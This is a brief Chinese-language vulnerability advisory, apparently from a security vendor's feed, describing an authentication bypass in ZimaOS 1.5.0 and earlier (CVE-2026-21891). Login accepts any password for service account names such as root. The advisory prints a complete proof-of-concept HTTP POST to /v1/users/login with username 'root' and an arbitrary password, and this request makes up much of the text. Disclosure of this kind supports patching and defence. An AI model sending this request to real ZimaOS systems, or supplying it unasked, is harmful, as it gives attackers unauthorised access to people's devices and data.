ZimaOS login /v1/users/login 权限绕过漏洞（CVE-2026-21891）

2026-02-28 ZimaOS PoC Public

Description

ZimaOS 是一款专为 Zima 设备和带 UEFI 的 x86-64 系统设计的操作系统，它是 CasaOS 的分支版本。ZimaOS 1.5.0 及之前的版本中，应用程序在检查用户名的有效性时，如果提供的用户名匹配已知的系统服务账户（如 devmon, root, casaos 等），会跳过或错误验证密码。这导致攻击者只要知道这些常见的系统服务账户名并提供任意密码，即可绕过身份验证获得系统访问权限。

PoC

POST /v1/users/login HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 53
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
Connection: close
Accept: application/json, text/plain, */*
Accept-Encoding: gzip

{
  "username": "root",
  "password": "anything"
}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# ZimaOS login /v1/users/login Permission Bypass Vulnerability (CVE-2026-21891)

References

Related Vulnerabilities